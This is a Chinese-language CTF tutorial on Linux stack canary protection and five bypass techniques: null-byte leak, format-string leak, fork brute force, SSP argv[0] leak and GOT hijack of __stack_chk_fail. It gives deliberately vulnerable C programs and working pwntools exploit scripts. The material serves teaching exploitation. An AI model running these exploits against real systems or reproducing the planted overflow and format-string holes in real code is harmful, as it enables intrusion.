0x00 Canary介绍及原理
Canary 的意思是金丝雀🦜,英国矿井工人们每次下井都会带上一只金丝雀,如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。当启用栈溢出保护后,函数开始执行的时候会先往栈底插入一段cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。由于栈溢出而引发的攻击非常普遍也非常古老,相应地 Canary 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。
可以在 GCC 中使用以下参数设置 Canary:
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护
开启Canary保护的stack结构如下:
High Address | ...... |
args | |
Return Address | |
rbp=============> | old ebp |
rbp-8(32位中为4)===> | canary value |
局部变量 | |
Low Address | .......... |
当程序启用 Canary 编译后,在函数序言部分会取 fs (gs) 寄存器 0x28 (0x14) 处的值,存放在栈中 rax (eax) 的位置,这个操作即为向栈中插入 Canary 值(括号中为32位时情况):
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>
如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail,该函数如下:
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
0x01 覆盖截断字符获取Canary
适用于有栈溢出的题目
32位程序中,Canary为4个字节,其中最低字节为\x00,可以防止被read和write等函数读出来。通过栈溢出将低位的\x00覆写,从而读出canary的值。
因此我们需要构建两次栈溢出,第一次将Canary低字节的\x00覆写,然后读出Canary后面的值,第二次溢出在给出输出的Canary前面加上\x00即可,然后覆盖Canary到ebp距离和ebp本身的长度,即可到达返回地址。
32位的例题:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译:
gcc pwn.c -no-pie -m32 -fstack-protector -z noexecstack -o pwn
检查后发现开启了NX,canary和部分relro,并且程序中有getshell()可以直接返回shell,vuln()函数中存在栈溢出。寻找canary :
因此可以得出,canary被存放在了ebp+var_C的位置,即0xC的位置
read进行输入时栈顶的位置为:
从栈顶到canary低字节的距离就是 0x70-0xC,而第一次需要覆盖掉低字节的\x00,所以还需要+1
下面是exp:
from pwn import *
conn = process('./pwn')
getshell = 0x080491c6
payload_1 = b'a' * (0x70 - 0xc) #第一次溢出
conn.send(payload_1)
recvbytes = conn.recv() # 获取canary
canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00')) #拼接canary
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
#第二次溢出
conn.send(payload_2)
conn.recv()
conn.interactive()
0x02 利用格式化字符漏洞获取Canary
格式化字符串漏洞可以打印出栈中的内容,因此可以打印出canary的值,从而进行栈溢出。
还是以上一道题为例,程序使用了 printf(buf) 这种危险方法直接打印了 read 输入的内容,因此可以通过输入格式化字符串来泄露栈上的内容。
首先,我们先确定当前文本在栈中的位置,输入以下内容
AAAA%p%p%p%p%p%p%p%p
看到0x41414141出现在栈中的第六个位置,而栈顶到canary的距离是0x70-0xc,一个不带长度的格式化字符会输出4个字节大小的数据,因此从第六个数据开始,再输出25个数据介绍canary的值,而6+25=31,我们可以用如下payload输出canary:
payload_1 = %31$x
canary就是收到的内容
具体原理可以看我的这篇文章:Pwn之格式化字符串漏洞-CSDN博客
最后和上题一样,再溢出一次获取shell,exp如下:
from pwn import *
conn = process('./pwn')
getshell = 0x80491c6 # 第一次溢出
payload_1 = b'%31$x'
conn.send(payload_1)
canary = conn.recvuntil(b'00')
canary = int(canary[-8:],16) # 获取canary并转换成16进制整型
print(f'Canary: {hex(canary)}')
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
# 第二次溢出
conn.send(payload_2)
conn.recv()
conn.interactive()
0x03 逐字节爆破绕过Canary
适用于有通过fork()函数创建的子进程的程序
某些题目中存在fork()函数,且程序开启了canary保护,当程序进入到子进程的时候,其canary的值和父进程中canary的值一样,因为fork函数为拷贝父进程的内存,因此在一定的条件下我们可以将canary爆破出来;需要必备的条件就是程序中存在栈溢出的漏洞,并且可以覆盖到canary的位置,那么我们就可以把canary一位一位的爆破出来。
对于32位ELF,只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错并且重启子进程,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是256,因此3个字节的逐个爆破总次数是256+256+256=768次
例题:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
void getshell(void)
{
system("/bin/sh");
}
void init(void)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void vuln(void)
{
char buf[100];
memset(buf, 0, sizeof(buf));
read(0, buf, 0x200);
printf("%s\n", buf);
}
int main(void)
{
init();
while (1)
{
printf("Hello Hacker!\n");
if (fork()) //father
{
wait(NULL);
}
else //child
{
vuln();
exit(0);
}
}
return 0;
}
编译同上 ,漏洞和后门函数同上,编写爆破脚本获得canary:
from pwn import *
import time
conn = process('./pwn')
getshell = 0x080491f6
canary = b'\x00'
for i in range(3):
for j in range(0, 256):
payload = b'a' * (0x70 - 0xC) + canary + p8(j)
conn.send(payload)
time.sleep(0.1)
res = conn.recv()
if ( b"stack smashing detected" not in res):
print(f'the {i} is {hex(j)}')
canary += p8(j)
break
assert(len(canary) == i+2)
print(f'Canary : {hex(u32(canary))}')
payload_2 = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(getshell)
# 第二次溢出
conn.send(payload_2)
conn.recv()
conn.interactive()
0x04 SSP泄露Canary
适用于Flag存储于内存空间中的情况
#来源于Canary保护详解和常用Bypass手段-安全客 - 安全资讯平台实在是看不懂,感觉也不常用#
SSP全称是Stack Smashing Protect,这种方法虽然不能让我们getshell,但是可以读取内存中的值,当flag在内存中储存时,我们就可以利用这个方法来读取flag。
文章开头分析了__stack_check_fail(),当程序中存在栈溢出,并且溢出的长度可以覆盖掉程序中argv[0]的时候,我们可以通过这种方法打印任意地址上的值,造成任意地址读。
对于linux,fs段寄存器实际指向的是当前栈的TLS结构,fs:0x28(gs:0x14)指向的正是stack_guard
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
如果存在溢出并且可以覆盖位于TLS中保存的canary值,那么就可以实现绕过保护机制
TLS中的值由函数security_init进行初始化
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value)
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
用网鼎杯的GUESS题为例,该题启用了NX和canary
程序先把flag读入到栈上,然后利用gets函数进行三次读入,这里可以进行三次栈溢出,然后利用SSP Leak将flag打印出来,首先找到argv[0]的地址,计算出偏移量,用gdb加载程序,在栈很高的地址上可以看到,它默认指向文件名。
在gdb中调试出,我们输入的字符串s2在 “rbp-0x40”处,flag在”rbp-0x70处”,从而计算出能够覆盖掉argv[0]的偏移是0x128
根据第一次泄露出的puts函数的真实地址,计算出libc基地址
payload = 'a'* 0x128 + p64(0x602020)*3
第二次泄露的_environ,也就是真实栈的地址
environ_addr = libc_base + libc.symbols['_environ']
在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section),用来存储系统环境变量的一份复制文件,进程在运行时可能需要。
例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。
该节是可写的,因此在格式串(format string)和缓冲区溢出(buffer overflow)攻击中都可以攻击该节。
*environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。环境表是一个表示环境字符串的字符指针数组,由”name=value”这样类似的字符串组成,它储存在整个进程空间的的顶部,其中value是一个以”″结束的C语言类型的字符串,代表指针该环境变量的值,一般我们见到的name都是大写,但这只是一个惯例
我们需要泄漏出栈的地址,才能泄漏出flag,而_environ存着栈的地址,所以我们需要泄漏_environ
第三次通过之前计算的偏移,直接泄露flag,exp如下:
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS.')
puts_got = 0x602020
#leak libc
p.recvuntil('guessing flagn')
payload = 'a'*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'x00'))
log.success('puts addr : 0x%x' %puts_addr)
#gdb.attach(p)
offset_puts = 0x6f690
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x' %libc_base)
addr__environ = 0x3c6f38
_environ_addr = libc_base + addr__environ
log.success('_environ addr : 0x%x' %addr__environ)
#leak environ
p.recvuntil('guessing flagn')
payload = 'a'*0x128 + p64(_environ_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
stack_base = u64(p.recv(6).ljust(8,'x00')) - 0x198
log.success('stack base addr : 0x%x' %stack_base)
flag_addr = stack_base + 0x30
#leak flag
p.recvuntil('guessing flagn')
payload = 'a'*0x128 + p64(flag_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
p.recvuntil('}')
p.interactive()
0x05 劫持__stack_chk_fail函数
在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
例题:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
system("/bin/sh");
}
int main(int argc, char *argv[])
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char buf[100];
read(0, buf, 200);#栈溢出
printf(buf);
return 0;
}
- 劫持函数需要修改got表,所以要关闭relro(RELocation Read Only)
- 需要调用getshell函数,所以需要关闭pie(Position Indenpendent Executive)
gcc pwn.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o pwn
分析发现有getshell后门和格式化字符串漏洞,可以向任意地址写入数据。
根据之前GOT表的学习,我们知道GOT表中存储的是函数的实际地址,如果把__stack_chk_fail
函数的got表地址替换为getshell的地址,在canary出错的情况下,调用__stack_chk_fail
时就会直接获取到shell。
这里利用pwntools中的fmtstr_payload()
可以方便的进行地址的篡改:
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
- offset(int): 字符串的偏移
- writes (dict): 注入的地址和值,{target_addr : change_to, }
先用上文方法确定字符串偏移,然后编写exp:
from pwn import *
conn = process('./pwn')
elf = conn.elf
stack_chk_fail_got = elf.got['__stack_chk_fail']
getshell = elf.sym['getshell']
payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
#修改GOT表地址
payload = payload.ljust(0x70, b'a')
#触发__stack_chk_fail
conn.send(payload)
conn.interactive()